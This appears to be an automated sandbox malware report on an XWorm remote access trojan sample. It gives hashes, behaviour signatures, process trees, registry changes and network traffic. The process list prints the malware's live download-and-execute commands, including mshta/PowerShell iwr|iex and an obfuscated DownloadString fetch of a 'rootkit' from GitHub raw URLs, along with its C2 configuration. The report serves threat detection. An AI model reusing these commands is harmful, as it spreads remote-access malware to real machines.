| File name: | loader.exe |
| Full analysis: | https://app.any.run/tasks/9b7e3944-3b81-49c0-8894-81d4af997596 |
| Verdict: | Malicious activity |
| Threats: | XWorm is a remote access trojan (RAT) sold as a malware-as-a-service. It possesses an extensive hacking toolset and is capable of gathering private information and files from the infected computer, hijacking MetaMask and Telegram accounts, and tracking user activity. XWorm is typically delivered to victims' computers through multi-stage attacks that start with phishing emails. |
| Analysis date: | December 14, 2024, 08:57:53 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections |
| MD5: | 28F1436DA832A52CFAF1A9F009B4881B |
| SHA1: | AB213F7698598C1177D2609EFAC248214C9CE3DC |
| SHA256: | C93B64F86DFB378352D1E6D8D5D6010D7A0C7C84CFC69475C2FA2837D0F607CA |
| SSDEEP: | 3072:fuIzqW+LaR9JcwDaNKLHsEs3dqmurCtKbVmbqEHBAnpK37nXd87A0BmOQ7QcLdtK:j7uqaNKns303tbcJ87t3cL1sOBCUQlP |
MALICIOUS
XWORM has been detected (SURICATA)
- $77loader.exe (PID: 3848)
Downloads the requested resource (POWERSHELL)
- powershell.exe (PID: 5432)
XWORM has been detected (YARA)
- $77loader.exe (PID: 3848)
SUSPICIOUS
Reads the date of Windows installation
- $77loader.exe (PID: 3848)
Executable content was dropped or overwritten
- loader.exe (PID: 1480)
Reads security settings of Internet Explorer
- $77loader.exe (PID: 3848)
Executing commands from ".cmd" file
- $77loader.exe (PID: 3848)
Possibly malicious use of IEX has been detected
- mshta.exe (PID: 3608)
Starts CMD.EXE for commands execution
- $77loader.exe (PID: 3848)
The process executes via Task Scheduler
- $77loader.exe (PID: 3848)
Connects to unusual port
- $77loader.exe (PID: 3848)
Starts POWERSHELL.EXE for commands execution
- mshta.exe (PID: 3608)
- powershell.exe (PID: 4872)
Application launched itself
- powershell.exe (PID: 4872)
Uses ATTRIB.EXE to modify file attributes
- powershell.exe (PID: 4872)
Probably download files using WebClient
- powershell.exe (PID: 4872)
Contacting a server suspected of hosting an CnC
- $77loader.exe (PID: 3848)
Executes application which crashes
- powershell.exe (PID: 5432)
The process creates files with name similar to system file names
- WerFault.exe (PID: 3952)
INFO
Creates files in the program directory
- loader.exe (PID: 1480)
- powershell.exe (PID: 4872)
Create files in a temporary directory
- $77loader.exe (PID: 3848)
Reads the machine GUID from the registry
- $77loader.exe (PID: 3848)
Checks supported languages
- $77loader.exe (PID: 3848)
- loader.exe (PID: 1480)
Reads the computer name
- $77loader.exe (PID: 3848)
- loader.exe (PID: 1480)
Process checks computer location settings
- $77loader.exe (PID: 3848)
The process uses the downloaded file
- mshta.exe (PID: 3608)
- $77loader.exe (PID: 3848)
- powershell.exe (PID: 4872)
Checks proxy server information
- $77loader.exe (PID: 3848)
- powershell.exe (PID: 4872)
- mshta.exe (PID: 3608)
- powershell.exe (PID: 5432)
- WerFault.exe (PID: 3952)
Uses string replace method (POWERSHELL)
- powershell.exe (PID: 4872)
- powershell.exe (PID: 5432)
Disables trace logs
- $77loader.exe (PID: 3848)
- powershell.exe (PID: 4872)
- powershell.exe (PID: 5432)
Gets or sets the time when the file was last written to (POWERSHELL)
- powershell.exe (PID: 4872)
Reads Environment values
- $77loader.exe (PID: 3848)
Checks if a key exists in the options dictionary (POWERSHELL)
- powershell.exe (PID: 4872)
Reads Internet Explorer settings
- mshta.exe (PID: 3608)
Reads the software policy settings
- $77loader.exe (PID: 3848)
- WerFault.exe (PID: 3952)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 4872)
Creates files or folders in the user directory
- WerFault.exe (PID: 3952)
Uses string split method (POWERSHELL)
- powershell.exe (PID: 5432)
Gets data length (POWERSHELL)
- powershell.exe (PID: 5432)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
XWorm
(PID) Process(3848) $77loader.exe
C2https://raw.githubusercontent.com/43a1723/test/refs/heads/main/Ip:<1723>
Keys
AES<Xwormmm>
Options
Splitter3
Sleep timeXWorm V5.3
USB drop nameUsb.exe
MutexWDL54KcDl1HqgxLy
TRiD
| .exe | | | Generic CIL Executable (.NET, Mono, etc.) (56.7) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (21.3) |
| .scr | | | Windows screen saver (10.1) |
| .dll | | | Win32 Dynamic Link Library (generic) (5) |
| .exe | | | Win32 Executable (generic) (3.4) |
EXIF
EXE
| AssemblyVersion: | 1.0.0.0 |
|---|---|
| ProductVersion: | 1.0.0.0 |
| OriginalFileName: | loader.exe |
| LegalCopyright: | |
| InternalName: | loader.exe |
| FileVersion: | 1.0.0.0 |
| FileDescription: | |
| CharacterSet: | Unicode |
| LanguageCode: | Neutral |
| FileSubtype: | - |
| ObjectFileType: | Executable application |
| FileOS: | Win32 |
| FileFlags: | (none) |
| FileFlagsMask: | 0x003f |
| ProductVersionNumber: | 1.0.0.0 |
| FileVersionNumber: | 1.0.0.0 |
| Subsystem: | Windows GUI |
| SubsystemVersion: | 4 |
| ImageVersion: | - |
| OSVersion: | 4 |
| EntryPoint: | 0x45722 |
| UninitializedDataSize: | - |
| InitializedDataSize: | 2048 |
| CodeSize: | 276480 |
| LinkerVersion: | 8 |
| PEType: | PE32 |
| ImageFileCharacteristics: | Executable |
| TimeStamp: | 2024:12:14 08:53:52+00:00 |
| MachineType: | Intel 386 or later, and compatibles |
Total processes
132
Monitored processes
11
Malicious processes
2
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1480 | "C:\Users\admin\Desktop\loader.exe" | C:\Users\admin\Desktop\loader.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: Exit code: 0 Version: 1.0.0.0 Modules
| |||||||||||||||
| 3848 | "C:\ProgramData\$77loader.exe" | C:\ProgramData\$77loader.exe | svchost.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: Version: 1.0.0.0 Modules
XWorm(PID) Process(3848) $77loader.exe C2https://raw.githubusercontent.com/43a1723/test/refs/heads/main/Ip:<1723> Keys AES<Xwormmm> Options Splitter3 Sleep timeXWorm V5.3 USB drop nameUsb.exe MutexWDL54KcDl1HqgxLy | |||||||||||||||
| 540 | C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\c.cmd" " | C:\Windows\System32\cmd.exe | — | $77loader.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1740 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3608 | mshta vbscript:createobject("wscript.shell").run("powershell iwr('https://raw.githubusercontent.com/43a1723/test22/refs/heads/main/payload')|iex",0)(window.close) | C:\Windows\System32\mshta.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 11.00.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4872 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr('https://raw.githubusercontent.com/43a1723/test22/refs/heads/main/payload')|iex | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | mshta.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2796 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3544 | "C:\WINDOWS\system32\attrib.exe" +h +s C:\ProgramData\$77Loader..{21EC2020-3AEA-1069-A2DD-08002B30309D} | C:\Windows\System32\attrib.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Attribute Utility Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5432 | "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" I'E'X((New-Object Net.Webclient)."DowNloAdSTRiNg"('https://raw.githubusercontent.com/43a1723/test22/refs/heads/main/rootkit')) | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 3221225477 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 372 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
24 958
Read events
24 941
Write events
17
Delete events
0
Modification events
| (PID) Process: | (3608) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (3608) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (3608) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (3848) $77loader.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (3848) $77loader.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32 |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (3848) $77loader.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (3848) $77loader.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (3848) $77loader.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
| (PID) Process: | (3848) $77loader.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (3848) $77loader.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
Executable files
1
Suspicious files
2
Text files
7
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3952 | WerFault.exe | C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_powershell.exe_ea70d48888f508aaf9d36845c77c079431efe_fbd08ea6_2c69f7f1-37e7-4c98-a5ae-5e0062ce4009\Report.wer | — | |
MD5:— | SHA256:— | |||
| 3952 | WerFault.exe | C:\Users\admin\AppData\Local\CrashDumps\powershell.exe.5432.dmp | — | |
MD5:— | SHA256:— | |||
| 4872 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_tho3b5se.kvo.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 3952 | WerFault.exe | C:\ProgramData\Microsoft\Windows\WER\Temp\WERB338.tmp.xml | xml | |
MD5:4B0F70460CB45B9904D91A897FC05822 | SHA256:215F04CB683064FB32758C6FD14F4C5603A2B4A01D8F05EE69D5CAB2B95D02FC | |||
| 5432 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_a55if31y.i3r.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 4872 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_kot4bgsp.w5g.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 5432 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_sbyi5rdr.jdb.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 3952 | WerFault.exe | C:\ProgramData\Microsoft\Windows\WER\Temp\WERB308.tmp.WERInternalMetadata.xml | xml | |
MD5:F8AD472640A388EEDB8EA0463AE7C822 | SHA256:598A7F347028789F79977AA72F68DD2AF7474479E64E9E597EDA085BACCB01CC | |||
| 4872 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:C2D73CFBBD62F19A25B9B29EFC18BA57 | SHA256:4BF84DCB5534B18C11D42A5BCA13E6747F67A85485D42F004C101AEADCEAFE05 | |||
| 3848 | $77loader.exe | C:\Users\admin\AppData\Local\Temp\c.cmd | text | |
MD5:527AB64BE48A2EEB866CC39ADF8D7881 | SHA256:1A6AB31585C11C81A56F1202733AE149EF0DAFE9AED12FD915D0323C8C49D2C6 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
25
DNS requests
9
Threats
3
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
732 | svchost.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
732 | svchost.exe | GET | 200 | 23.48.23.143:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 140.82.121.3:443 | https://raw.githubusercontent.com/43a1723/test22/refs/heads/main/payload | unknown | text | 1.17 Kb | — |
— | — | GET | 200 | 140.82.121.3:443 | https://raw.githubusercontent.com/43a1723/test22/refs/heads/main/rootkit | unknown | text | 3.42 Kb | — |
— | — | GET | 200 | 140.82.121.3:443 | https://raw.githubusercontent.com/43a1723/test22/refs/heads/main/Install.shellcode | unknown | binary | 162 Kb | — |
— | — | GET | 200 | 140.82.121.3:443 | https://raw.githubusercontent.com/43a1723/test/refs/heads/main/Ip | unknown | text | 21 b | — |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 192.168.100.255:137 | — | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
732 | svchost.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 104.126.37.170:443 | www.bing.com | Akamai International B.V. | DE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
732 | svchost.exe | 23.48.23.143:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
732 | svchost.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
4712 | MoUsoCoreWorker.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
732 | svchost.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
www.bing.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
raw.githubusercontent.com |
| shared |
watson.events.data.microsoft.com |
| whitelisted |
self.events.data.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
— | — | Not Suspicious Traffic | INFO [ANY.RUN] Attempting to access raw user content on GitHub |
— | — | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] Xworm TCP Packet |
— | — | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] Xworm TCP Packet |